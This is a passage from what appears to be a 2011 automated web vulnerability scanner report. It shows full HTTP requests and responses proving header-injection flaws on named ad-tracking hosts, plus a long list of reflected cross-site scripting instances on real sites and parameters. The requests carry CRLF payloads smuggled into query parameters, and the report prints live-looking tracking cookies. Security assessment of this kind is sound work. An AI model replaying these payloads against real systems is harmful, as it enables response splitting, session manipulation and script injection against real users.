P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sun, 27 Feb 2011 02:50:33 GMT
Set-Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; path=/; expires=Wed, 22-Feb-12 02:35:33 GMT; domain=.at.atwola.com
Set-Cookie: ANRTT=53615^1^1299284361|52766^1^1299284361|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837|60190^1^1299378933; path=/; expires=Sun, 06-Mar-11 02:35:33 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1298774133^1298775933|18288^1298774133^1298775933; path=/; expires=Sun, 27-Feb-11 03:05:33 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239|60190; expires=Wed, 22-Feb-12 02:35:33 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Sun, 27-Feb-11 08:35:33 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:ca3680f9be00bf67dd48c45e051ee302bf012
f7b9b665bf,c638727a4faa7467533adb5623113b72; expires=Wed, 22-Feb-12 02:35:33 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk6NjAxOTA=; expires=Wed, 22-Feb-12 02:35:33 GMT; path=/; domain=.at.atwola.com
ntCoent-Length: 176
Content-Type: application/x-javascript
Content-Length: 176

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16lsqii1n1a3cr';
var ANSL='99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239|60190';
ANRTXR();

2.8. http://tacoda.at.atwola.com/rtx/r.js [si parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tacoda.at.atwola.com
Path:	/rtx/r.js

Request

GET /rtx/r.js?cmd=ADN&si=8ecf0%0d%0a6420ebe94a&pi=M&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%253Fifu%253Dhttp%25253A//techcrunch.com/2011/02/16/forbes-accused-of-link-spam-plays-dumb-but-forgets-to-delete-all-the-links/%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.5&cb=60711 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; ANRTT=53615^1^1299284361|52766^1^1299284361|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837; TData=99999|^|53575|53656|54063|56768|56830|56835|60506|60515|#|53615|52766|60130|50213|50239; N=2:2d4ec7443dfa469e64430537b01b46dc,ca3680f9be00bf67dd48c45e051ee302; ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTQwNjM6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MDY6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk=; eadx=1; CfP=1; JEB2=4D69B03E6E651A440C6EAF39F001EBEA

Response

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 02:33:28 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sun, 27 Feb 2011 02:48:28 GMT
Set-Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; path=/; expires=Wed, 22-Feb-12 02:33:28 GMT; domain=.at.atwola.com
Set-Cookie: ANRTT=53615^1^1299284361|52766^1^1299284361|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837|60190^1^1299378808; path=/; expires=Sun, 06-Mar-11 02:33:28 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1298774008^1298775808|8ecf0
6420ebe94a^1298774008^1298775808; path=/; expires=Sun, 27-Feb-11 03:03:28 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239|60190; expires=Wed, 22-Feb-12 02:33:28 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Sun, 27-Feb-11 08:33:28 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:ca3680f9be00bf67dd48c45e051ee302,c638727a4faa7467533adb5623113b72; expires=Wed, 22-Feb-12 02:33:28 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk6NjAxOTA=; expires=Wed, 22-Feb-12 02:33:28 GMT; path=/; domain=.at.atwola.com
Cteonnt-Length: 176
Content-Type: application/x-javascript
Content-Length: 176

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16lsqii1n1a3cr';
var ANSL='99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239|60190';
ANRTXR();

2.9. http://tags.crwdcntrl.net/5/c=25/b=1225394 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tags.crwdcntrl.net
Path:	/5/c=25/b=1225394

Request

GET /5/c=25/b=1225394?f335d%0d%0a6c92f1d82cf=1 HTTP/1.1
Host: tags.crwdcntrl.net
Proxy-Connection: keep-alive
Referer: http://www.project-syndicate.org/series_metacategory/1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aud=ABR4nGNgYGDwzdxymoGBUS%2FlldVZBlkGBgEl%2FV5OoHgvmOK5DKYEv4IpXmYwJdQGkbsJEZSG8PjAFNdjMMX%2FF0wJc4ApNl4wxWEEETRjAAE%2BUTBP4DhEsBosKPQMot0NYm0ExL5iCFUCseg9WKWwPpji%2FQdxhCnEMIgGLn8gBQDbtibF; cc=ACB4nGNQMEuzsLRIs0w1Nk80TUtLSkuySLMwMTdNNUq0NATKmDMAgW%2FmltP%2Fv2ydx8DAqJfyyuosSIyBzVlWiYmBQfJC8X9GBoYvDAxACshnbGDgUIp3gQsBGYxKSTOhfLA8s9BWS0aYThBfKd4LWZ5RaNMOsHweRJ6RgUOmTh3dLq7WSRhC9Q3oQpyPl6MLcSfswhTaiS7EV%2FEWXUjW7CK6EAAHWlQ7; OAID=6f898f9e37a5ffbfb8f8475e2a918987

Response

HTTP/1.1 302 Moved Temporarily
Date: Sun, 27 Feb 2011 02:23:34 GMT
Server: Apache/2.2.8 (CentOS)
X-Powered-By: Servlet 2.4; JBoss-4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)/Tomcat-5.5
Cache-Control: no-cache
Expires: 0
Pragma: no-cache
P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV
Set-Cookie: aud=ABR4nGNgYGDwzdy6jIGBUS%2Fl7URjBlkGBgElBjDoBZM8l8GU4FcwxcsMpoTaIHI3IYLSEB4fmOJ6DKZEFcAU%2F18wJcwBpth4wRSHEZjiE4WoFAZTAschRj%2BD6HODWBsBESyGUCUQi943MDQArf0HMVofzBOIgAiaQhzhDyQArR4Vqg%3D%3D; Domain=.crwdcntrl.net; Expires=Thu, 24-Nov-2011 02:23:34 GMT; Path=/
Set-Cookie: cc=ACB4nGNQMEuzsLRIs0w1Nk80TUtLSkuySLMwMTdNNUq0NATKmDMAgW%2Fm1mX%2Fv2w5zMDAqJfydqIxSIyBzVlWiYmBQZKB4T8jA8OX%2F3%2BAFJARI7RpEyNMGMhQENq0A5lvo8z1F5nPpBTvgqyfUWirJUj%2B%2F18on4FDpk4d3SKu1kkYQvUN6ELcCbvQhTgfL8dUtRNdiK%2FiLbqQrNlFdCEAS1pZFg%3D%3D; Domain=.crwdcntrl.net; Expires=Thu, 24-Nov-2011 02:23:34 GMT; Path=/
Location: http://f335d
6c92f1d82cf=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 0

2.10. http://tags.crwdcntrl.net/5/c=25/b=1225400 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tags.crwdcntrl.net
Path:	/5/c=25/b=1225400

Request

GET /5/c=25/b=1225400?2f2f5%0d%0a3a2cc9ab32b=1 HTTP/1.1
Host: tags.crwdcntrl.net
Proxy-Connection: keep-alive
Referer: http://www.project-syndicate.org/series_metacategory/1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aud=ABR4nGNgYGDwzdxymoGBUS%2FlldVZBlkGBgEl%2FV5OoHgvmOK5DKYEv4IpXmYwJdQGkbsJEZSG8PjAFNdjMMX%2FF0wJc4ApNl4wxWEEETRjAAE%2BUTBP4DhEsBosKPQMot0NYm0ExL5iCFUCseg9WKWwPpji%2FQdxhCnEMIgGLn8gBQDbtibF; cc=ACB4nGNQMEuzsLRIs0w1Nk80TUtLSkuySLMwMTdNNUq0NATKmDMAgW%2FmltP%2Fv2ydx8DAqJfyyuosSIyBzVlWiYmBQfJC8X9GBoYvDAxACshnbGDgUIp3gQsBGYxKSTOhfLA8s9BWS0aYThBfKd4LWZ5RaNMOsHweRJ6RgUOmTh3dLq7WSRhC9Q3oQpyPl6MLcSfswhTaiS7EV%2FEWXUjW7CK6EAAHWlQ7; OAID=6f898f9e37a5ffbfb8f8475e2a918987

Response

HTTP/1.1 302 Moved Temporarily
Date: Sun, 27 Feb 2011 02:23:08 GMT
Server: Apache/2.2.8 (CentOS)
X-Powered-By: Servlet 2.4; JBoss-4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)/Tomcat-5.5
Cache-Control: no-cache
Expires: 0
Pragma: no-cache
P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV
Set-Cookie: aud=ABR4nGNgYGDwzdzaw8DAqJfyVjeXQZaBQUCJAQx6wSTPZTAl%2BBVM8TKDKaE2iNxNiKA0hMcHprgegylRBTDF%2FxdMCXOAKTZeMMVhBKb4RCEqhcGUwHGI0c8g%2Btwg1kZABIshVAnEovcNDA1AM%2FXBFO8%2FiCNMIaZEgAW5%2FIFsAG6pFWY%3D; Domain=.crwdcntrl.net; Expires=Thu, 24-Nov-2011 02:23:08 GMT; Path=/
Set-Cookie: cc=ACB4nGNQMEuzsLRIs0w1Nk80TUtLSkuySLMwMTdNNUq0NATKmDMAgW%2Fm1p7%2FX7bcZWBg1Et5q5sLEmNgc5ZVYmJgkGRg%2BM%2FIwPDl%2Fx8gBWQoCW3awQgTBjIUhDZtAvH%2F%2F4XwGZXiXZDVMypz%2FUVWzyi01RJFPQOHTJ06ukVcrZMwhOob0IW4E3ahC3E%2BXo6paie6EF%2FFW3QhWbOL6EIAg7Jacg%3D%3D; Domain=.crwdcntrl.net; Expires=Thu, 24-Nov-2011 02:23:08 GMT; Path=/
Location: http://2f2f5
3a2cc9ab32b=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 0

2.11. http://tags.crwdcntrl.net/5/c=25/b=1226041 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tags.crwdcntrl.net
Path:	/5/c=25/b=1226041

Request

GET /5/c=25/b=1226041?2bdae%0d%0a32111a498f8=1 HTTP/1.1
Host: tags.crwdcntrl.net
Proxy-Connection: keep-alive
Referer: http://www.project-syndicate.org/series_metacategory/1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aud=ABR4nGNgYGDwzdxymoGBUS%2FlldVZBlkGBgEl%2FV5OoHgvmOK5DKYEv4IpXmYwJdQGkbsJEZSG8PjAFNdjMMX%2FF0wJc4ApNl4wxWEEETRjAAE%2BUTBP4DhEsBosKPQMot0NYm0ExL5iCFUCseg9WKWwPpji%2FQdxhCnEMIgGLn8gBQDbtibF; cc=ACB4nGNQMEuzsLRIs0w1Nk80TUtLSkuySLMwMTdNNUq0NATKmDMAgW%2FmltP%2Fv2ydx8DAqJfyyuosSIyBzVlWiYmBQfJC8X9GBoYvDAxACshnbGDgUIp3gQsBGYxKSTOhfLA8s9BWS0aYThBfKd4LWZ5RaNMOsHweRJ6RgUOmTh3dLq7WSRhC9Q3oQpyPl6MLcSfswhTaiS7EV%2FEWXUjW7CK6EAAHWlQ7; OAID=6f898f9e37a5ffbfb8f8475e2a918987

Response

HTTP/1.1 302 Moved Temporarily
Date: Sun, 27 Feb 2011 02:23:36 GMT
Server: Apache/2.2.8 (CentOS)
X-Powered-By: Servlet 2.4; JBoss-4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)/Tomcat-5.5
Cache-Control: no-cache
Expires: 0
Pragma: no-cache
P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV
Set-Cookie: aud=ABR4nGNgYGDwzdy6goGBUS%2Fl7YyHDLIMDAJKDGDQCyZ5LoMpwa9gipcZTAm1QeRuQgSlITw%2BMMX1GEyJKoAp%2Fr9gSpgDTLHxgikOIzDFJwpRKQymBI5DjH4G0ecGsTYCIlgMoUogFr1vYGgAmqkPpnj%2FQRxhCjElAizI5Q9kAwA5%2FRZh; Domain=.crwdcntrl.net; Expires=Thu, 24-Nov-2011 02:23:36 GMT; Path=/
Set-Cookie: cc=ACB4nGNQMEuzsLRIs0w1Nk80TUtLSkuySLMwMTdNNUq0NATKmDMAgW%2Fm1hX%2Fv2w5yMDAqJfydsZDkBgDm7OsEhMDgyQDw39GBoYv%2F%2F8AKSCjT2irJSNMGMiQEdq0A5lvI7RpEzLfQpnrLzKfWSneBdk8RgYOmTp1dIu4WidhCNU3oAtxJ%2BxCF%2BJ8vBxT1U50Ib6Kt%2BhCsmYX0YUA271YNQ%3D%3D; Domain=.crwdcntrl.net; Expires=Thu, 24-Nov-2011 02:23:36 GMT; Path=/
Location: http://2bdae
32111a498f8=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 0

3. Cross-site scripting (reflected) previous next
There are 313 instances of this issue:

https://accounts.zoho.com/login [serviceurl parameter]
https://accounts.zoho.com/login [serviceurl parameter]
https://accounts.zoho.com/register [serviceurl parameter]
https://accounts.zoho.com/register [serviceurl parameter]
https://accounts.zoho.com/register [serviceurl parameter]
http://ads.tw.adsonar.com/adserving/getAds.jsp [pid parameter]
http://ads.tw.adsonar.com/adserving/getAds.jsp [placementId parameter]
http://ads.tw.adsonar.com/adserving/getAds.jsp [ps parameter]
http://alterianwaserver.alterianconnect.net/tracking.aspx/gettoken/ [callback parameter]
http://alterianwaserver.alterianconnect.net/tracking.aspx/submitevents/ [callback parameter]
http://alterianwaserver.alterianconnect.net/tracking.aspx/submitsession/ [callback parameter]
http://altfarm.mediaplex.com/ad/js/3992-121072-16279-0 [mpt parameter]
http://altfarm.mediaplex.com/ad/js/3992-121072-16279-0 [mpvc parameter]
http://altfarm.mediaplex.com/ad/js/3992-121072-16279-0 [name of an arbitrarily supplied request parameter]
http://api-public.addthis.com/url/shares.json [callback parameter]
http://api.postup.com/TCTUL001/twidget/1.jsonp [jsonp parameter]
http://apps.conduit-banners.com/TechCrunchApp-Techcrunch_APP [imageurl parameter]
http://b.scorecardresearch.com/beacon.js [c1 parameter]
http://b.scorecardresearch.com/beacon.js [c10 parameter]
http://b.scorecardresearch.com/beacon.js [c15 parameter]
http://b.scorecardresearch.com/beacon.js [c2 parameter]
http://b.scorecardresearch.com/beacon.js [c3 parameter]
http://b.scorecardresearch.com/beacon.js [c4 parameter]
http://b.scorecardresearch.com/beacon.js [c5 parameter]
http://b.scorecardresearch.com/beacon.js [c6 parameter]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [BnId parameter]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 10]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 11]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 12]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 13]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 14]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 15]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 4]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 5]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 6]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 7]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 8]
http://cdn.widgetserver.com/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436 [REST URL parameter 9]
https://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/ViewProductDetail-Start [name of an arbitrarily supplied request parameter]
https://client.trafficshaping.com/signin [email parameter]
http://dean.edwards.name/weblog/2006/03/faster [REST URL parameter 1]
http://dean.edwards.name/weblog/2006/03/faster [REST URL parameter 1]
http://dean.edwards.name/weblog/2006/03/faster [REST URL parameter 4]
http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 1]
http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 1]
http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 4]
http://dean.edwards.name/weblog/2006/06/again/ [name of an arbitrarily supplied request parameter]
http://ds.addthis.com/red/psi/sites/www.capgemini.com/p.json [callback parameter]
http://ds.addthis.com/red/psi/sites/www.virtusa.com/p.json [callback parameter]
http://duck.co/ [name of an arbitrarily supplied request parameter]
http://duck.co/duckduckgo-forum [name of an arbitrarily supplied request parameter]
http://duck.co/topic/2-25-news-stories-to-comment-on [name of an arbitrarily supplied request parameter]
http://duck.co/topic/2-28-articles-to-comment-on [name of an arbitrarily supplied request parameter]
http://duck.co/topic/about-com-s-web-search-readers-choice-awards [name of an arbitrarily supplied request parameter]
http://duck.co/topic/boolean-operators-and-parentheses-for-search-query [name of an arbitrarily supplied request parameter]
http://duck.co/topic/cached-archived-links [name of an arbitrarily supplied request parameter]
http://duck.co/topic/changing-font-text-and-links [name of an arbitrarily supplied request parameter]
http://duck.co/topic/ddg-gg [name of an arbitrarily supplied request parameter]
http://duck.co/topic/ddg-in-alternative-web-browsers [name of an arbitrarily supplied request parameter]
http://duck.co/topic/ddg-is-one-of-zoho-s-esteemed-customers [name of an arbitrarily supplied request parameter]
http://duck.co/topic/ddg-own-search-engine [name of an arbitrarily supplied request parameter]
http://duck.co/topic/ddg-userbar-to-spread-the-word [name of an arbitrarily supplied request parameter]
http://duck.co/topic/default-header-color [name of an arbitrarily supplied request parameter]
http://duck.co/topic/differentiate-duckduckgo-with-other [name of an arbitrarily supplied request parameter]
http://duck.co/topic/duckduckgo-webs-com-custom-logos [name of an arbitrarily supplied request parameter]
http://duck.co/topic/foss-donation-nominations [name of an arbitrarily supplied request parameter]
http://duck.co/topic/freenet [name of an arbitrarily supplied request parameter]
http://duck.co/topic/historical-traffic-stats [name of an arbitrarily supplied request parameter]
http://duck.co/topic/how-to-get-similar-growth-for-2011 [name of an arbitrarily supplied request parameter]
http://duck.co/topic/i-did-my-own-way-to-promote-ddg [name of an arbitrarily supplied request parameter]
http://duck.co/topic/i-would-love-it-iff-i-need-ideas-fast-please-click [name of an arbitrarily supplied request parameter]
http://duck.co/topic/logging-in-message-email-not-confirmed [name of an arbitrarily supplied request parameter]
http://duck.co/topic/maps [name of an arbitrarily supplied request parameter]
http://duck.co/topic/opera-thread-include-duckduckgo-in-default-search-engines [name of an arbitrarily supplied request parameter]
http://duck.co/topic/pages-without-favicon-uses-ddg-favicon [name of an arbitrarily supplied request parameter]
http://duck.co/topic/post-your-ddg-sticker-photos [name of an arbitrarily supplied request parameter]
http://duck.co/topic/q-html-entities [name of an arbitrarily supplied request parameter]
http://duck.co/topic/searching-for-roommates-on-craigslist [name of an arbitrarily supplied request parameter]
http://duck.co/topic/spam-site-found [name of an arbitrarily supplied request parameter]
http://duck.co/topic/userscript-which-prevents-you-from-accidentally-posting-as-guest [name of an arbitrarily supplied request parameter]
http://duck.co/topic/want-more-visitors-ehh-needs-to-look-more-proffesional [name of an arbitrarily supplied request parameter]
http://duck.co/topic/words-to-live-by [name of an arbitrarily supplied request parameter]
http://duck.co/topic/wot-highlighting [name of an arbitrarily supplied request parameter]
http://duckduckgo.com/d.js [s parameter]
http://duckduckgo.com/ie/v1/api/oembed [callback parameter]
http://duckduckgo.com/ie/v1/api/oembed [maxwidth parameter]
http://duckduckgo.com/ie/v1/api/oembed [urls parameter]
http://duckduckgo.com/iq/v1/twitter/cloudscan/services.json [callback parameter]
http://duckduckgo.com/iq/v1/twitter/cloudscan/services.json [request_id parameter]
https://duckduckgo.com/e.js [go parameter]
https://event.on24.com/eventRegistration/EventLobbyServlet [key parameter]
https://event.on24.com/eventRegistration/EventLobbyServlet [partnerref parameter]
https://event.on24.com/eventRegistration/EventLobbyServlet [sourcepage parameter]
http://fonts.googleapis.com/css [family parameter]
http://init.zopim.com/register [mID parameter]
http://klout.com/ [name of an arbitrarily supplied request parameter]
http://klout.com/business [name of an arbitrarily supplied request parameter]
http://klout.com/perks [name of an arbitrarily supplied request parameter]
http://lfov.net/webrecorder/g/chimera.js [vid parameter]
https://login.silverlight.net/login/signin.aspx [returnurl parameter]
https://login.silverlight.net/login/signin.aspx [returnurl parameter]
http://odb.outbrain.com/utils/get [callback parameter]
http://plancast.com/p/3zbp [REST URL parameter 2]
http://pubads.g.doubleclick.net/gampad/ads [slotname parameter]
http://rapportive.com/stylesheets/jquery.fancybox-1.3.1.css [REST URL parameter 2]
http://rapportive.com/stylesheets/website_screen.css [REST URL parameter 2]
https://shop.winamp.com/DRHM/store [name of an arbitrarily supplied request parameter]
https://shop.winamp.com/store [name of an arbitrarily supplied request parameter]
https://sso.springsource.com/cas/CSS/style-local.css [name of an arbitrarily supplied request parameter]
https://sso.springsource.com/cas/login [name of an arbitrarily supplied request parameter]
http://storify.com/klout/contest-winners-how-do-you-use-your-klout-for-good.json [callback parameter]
http://storify.com/klout/contest-winners-how-do-you-use-your-klout-for-good/record/view [callback parameter]
http://REDACTED/CNT/iview/302784236/direct [name of an arbitrarily supplied request parameter]
http://widgets.digg.com/buttons/count [url parameter]
http://www.business-software.com/top-10-web-content-management-vendors.php [gclid parameter]
http://www.business-software.com/top-10-web-content-management-vendors.php [keyword parameter]
http://www.business-software.com/top-10-web-content-management-vendors.php [name of an arbitrarily supplied request parameter]
http://www.business-software.com/top-10-web-content-management-vendors.php [track parameter]
http://www.business-software.com/top-10-web-content-management-vendors.php [traffic parameter]
http://www.linkedin.com/cws/share-count [url parameter]
http://www.montrealkiosk.com/directory.php [categoryId parameter]
http://www.opengroup.org/architecture/togaf8-doc/arch/ [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/ [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/ [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/ [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/ [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/ [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 2]
